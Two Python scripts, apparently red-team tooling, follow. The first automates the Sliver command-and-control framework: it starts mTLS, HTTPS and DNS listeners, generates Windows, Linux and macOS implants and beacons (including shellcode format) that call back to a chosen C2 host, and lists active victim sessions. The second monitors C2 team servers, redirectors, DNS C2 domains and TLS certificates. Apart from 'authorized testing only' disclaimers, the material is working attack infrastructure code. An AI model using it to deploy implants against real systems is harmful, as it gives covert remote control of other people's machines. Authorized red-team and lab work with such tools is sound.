#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""Sliver C2 Framework Deployment Agent - Automates Sliver C2 setup for authorized red team engagements."""

import json
import subprocess
import logging
import argparse
from datetime import datetime

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def run_sliver_cmd(cmd, sliver_path="sliver-client"):
    """Execute a Sliver client command."""
    try:
        result = subprocess.run([sliver_path] + cmd, capture_output=True, text=True, timeout=60)
        return {"stdout": result.stdout, "stderr": result.stderr, "returncode": result.returncode}
    except (FileNotFoundError, subprocess.TimeoutExpired) as e:
        return {"error": str(e)}


def generate_implant(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, format_type="exe", sliver_path="sliver-client"):
    """Generate a Sliver implant (beacon or session)."""
    cmd = ["generate", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}"]
    if format_type == "shellcode":
        cmd.append("--format=shellcode")
    elif format_type == "shared":
        cmd.append("--format=shared-lib")
    result = run_sliver_cmd(cmd, sliver_path)
    logger.info("Generated implant: %s (%s/%s)", name, os_target, arch)
    return {"implant_name": name, "os": os_target, "arch": arch, "c2": f"{c2_host}:{c2_port}", "result": result}


def generate_beacon(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, interval="60s", jitter="30", sliver_path="sliver-client"):
    """Generate a Sliver beacon implant."""
    cmd = ["generate", "beacon", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}", "--seconds", interval, "--jitter", jitter]
    result = run_sliver_cmd(cmd, sliver_path)
    return {"beacon_name": name, "interval": interval, "jitter": jitter, "result": result}


def setup_listeners(c2_host, mtls_port=8888, https_port=443, dns_domain=None, sliver_path="sliver-client"):
    """Configure C2 listeners."""
    listeners = []
    mtls_result = run_sliver_cmd(["mtls", "--lhost", c2_host, "--lport", str(mtls_port)], sliver_path)
    listeners.append({"type": "mTLS", "host": c2_host, "port": mtls_port, "result": mtls_result})
    https_result = run_sliver_cmd(["https", "--lhost", c2_host, "--lport", str(https_port)], sliver_path)
    listeners.append({"type": "HTTPS", "host": c2_host, "port": https_port, "result": https_result})
    if dns_domain:
        dns_result = run_sliver_cmd(["dns", "--domains", dns_domain], sliver_path)
        listeners.append({"type": "DNS", "domain": dns_domain, "result": dns_result})
    return listeners


def list_sessions(sliver_path="sliver-client"):
    """List active sessions."""
    return run_sliver_cmd(["sessions"], sliver_path)


def list_beacons(sliver_path="sliver-client"):
    """List active beacons."""
    return run_sliver_cmd(["beacons"], sliver_path)


def generate_report(listeners, implants, sessions_output, beacons_output):
    """Generate C2 infrastructure report."""
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "disclaimer": "For authorized penetration testing only",
        "listeners": listeners,
        "implants_generated": implants,
        "active_sessions": sessions_output,
        "active_beacons": beacons_output,
    }
    print(f"SLIVER REPORT: {len(listeners)} listeners, {len(implants)} implants")
    return report


def main():
    parser = argparse.ArgumentParser(description="Sliver C2 Framework Deployment Agent (Authorized Testing Only)")
    parser.add_argument("--c2-host", required=True, help="C2 server IP/hostname")
    parser.add_argument("--implant-name", default="test_implant")
    parser.add_argument("--os", default="windows", choices=["windows", "linux", "darwin"])
    parser.add_argument("--arch", default="amd64", choices=["amd64", "386", "arm64"])
    parser.add_argument("--sliver-path", default="sliver-client")
    parser.add_argument("--output", default="sliver_report.json")
    args = parser.parse_args()

    listeners = setup_listeners(args.c2_host, sliver_path=args.sliver_path)
    implant = generate_implant(args.implant_name, args.os, args.arch, args.c2_host, sliver_path=args.sliver_path)
    sessions = list_sessions(args.sliver_path)
    beacons = list_beacons(args.sliver_path)

    report = generate_report(listeners, [implant], sessions, beacons)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Sliver C2 Infrastructure Health Check and Management Script

This script provides automated health monitoring for Sliver C2 infrastructure
components including team server, redirectors, and listener status.
Intended for authorized red team engagements only.
"""

import subprocess
import json
import socket
import ssl
import sys
import os
from datetime import datetime
from pathlib import Path


def check_port_open(host: str, port: int, timeout: float = 5.0) -> bool:
    """Check if a specific port is open on a host."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0
    except (socket.error, OSError):
        return False


def check_ssl_certificate(host: str, port: int = 443) -> dict:
    """Check SSL certificate validity on a listener."""
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        with socket.create_connection((host, port), timeout=5) as sock:
            with context.wrap_socket(sock, server_hostname=host) as ssock:
                cert = ssock.getpeercert(binary_form=False)
                return {
                    "status": "valid",
                    "subject": str(cert.get("subject", "N/A")) if cert else "No cert data",
                    "issuer": str(cert.get("issuer", "N/A")) if cert else "No cert data",
                    "expiry": str(cert.get("notAfter", "N/A")) if cert else "No cert data"
                }
    except ssl.SSLError as e:
        return {"status": "ssl_error", "error": str(e)}
    except (socket.error, OSError) as e:
        return {"status": "connection_error", "error": str(e)}


def check_dns_listener(domain: str, nameserver: str = "8.8.8.8") -> dict:
    """Check if DNS C2 domain resolves correctly."""
    try:
        result = subprocess.run(
            ["nslookup", domain, nameserver],
            capture_output=True, text=True, timeout=10
        )
        return {
            "status": "active" if result.returncode == 0 else "inactive",
            "output": result.stdout.strip()[:500]
        }
    except (subprocess.TimeoutExpired, FileNotFoundError) as e:
        return {"status": "error", "error": str(e)}


def check_redirector_health(redirector_ip: str, port: int = 443) -> dict:
    """Verify redirector is forwarding traffic correctly."""
    result = {
        "ip": redirector_ip,
        "port": port,
        "port_open": check_port_open(redirector_ip, port),
        "ssl": check_ssl_certificate(redirector_ip, port) if port == 443 else "N/A"
    }
    return result


def generate_infrastructure_report(config: dict) -> str:
    """Generate a health report for the C2 infrastructure."""
    report_lines = [
        "=" * 60,
        f"Sliver C2 Infrastructure Health Report",
        f"Generated: {datetime.now().isoformat()}",
        "=" * 60,
        ""
    ]

    team_server = config.get("team_server", {})
    ts_host = team_server.get("host", "127.0.0.1")
    ts_ports = team_server.get("ports", [443, 8888, 53, 51820])

    report_lines.append("[Team Server]")
    report_lines.append(f"  Host: {ts_host}")
    for port in ts_ports:
        status = "OPEN" if check_port_open(ts_host, port) else "CLOSED"
        report_lines.append(f"  Port {port}: {status}")
    report_lines.append("")

    redirectors = config.get("redirectors", [])
    report_lines.append("[Redirectors]")
    for redir in redirectors:
        redir_ip = redir.get("ip", "")
        redir_port = redir.get("port", 443)
        health = check_redirector_health(redir_ip, redir_port)
        status = "HEALTHY" if health["port_open"] else "DOWN"
        report_lines.append(f"  {redir_ip}:{redir_port} - {status}")
    report_lines.append("")

    dns_domains = config.get("dns_domains", [])
    report_lines.append("[DNS Listeners]")
    for domain in dns_domains:
        dns_check = check_dns_listener(domain)
        report_lines.append(f"  {domain}: {dns_check['status']}")
    report_lines.append("")

    report_lines.append("[SSL Certificates]")
    https_hosts = config.get("https_hosts", [])
    for host in https_hosts:
        cert_info = check_ssl_certificate(host)
        report_lines.append(f"  {host}: {cert_info['status']}")
        if cert_info["status"] == "valid":
            report_lines.append(f"    Expiry: {cert_info.get('expiry', 'N/A')}")
    report_lines.append("")

    report_lines.append("=" * 60)
    return "\n".join(report_lines)


def parse_sliver_config(config_path: str) -> dict:
    """Parse a Sliver infrastructure configuration file."""
    try:
        with open(config_path, "r") as f:
            return json.load(f)
    except (FileNotFoundError, json.JSONDecodeError) as e:
        print(f"Error loading config: {e}")
        return {}


def main():
    """Main entry point for infrastructure health check."""
    config_path = sys.argv[1] if len(sys.argv) > 1 else "c2_infrastructure.json"

    if not os.path.exists(config_path):
        print(f"Config file not found: {config_path}")
        print("Creating example configuration...")
        example_config = {
            "team_server": {
                "host": "10.0.0.1",
                "ports": [443, 8888, 53, 51820]
            },
            "redirectors": [
                {"ip": "203.0.113.10", "port": 443},
                {"ip": "203.0.113.20", "port": 443}
            ],
            "dns_domains": ["c2dns.example.com"],
            "https_hosts": ["c2.example.com"]
        }
        with open(config_path, "w") as f:
            json.dump(example_config, f, indent=2)
        print(f"Example config written to {config_path}")
        print("Edit the configuration and re-run the script.")
        return

    config = parse_sliver_config(config_path)
    if not config:
        print("Failed to parse configuration. Exiting.")
        return

    report = generate_infrastructure_report(config)
    print(report)

    report_file = f"c2_health_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
    with open(report_file, "w") as f:
        f.write(report)
    print(f"Report saved to: {report_file}")


if __name__ == "__main__":
    main()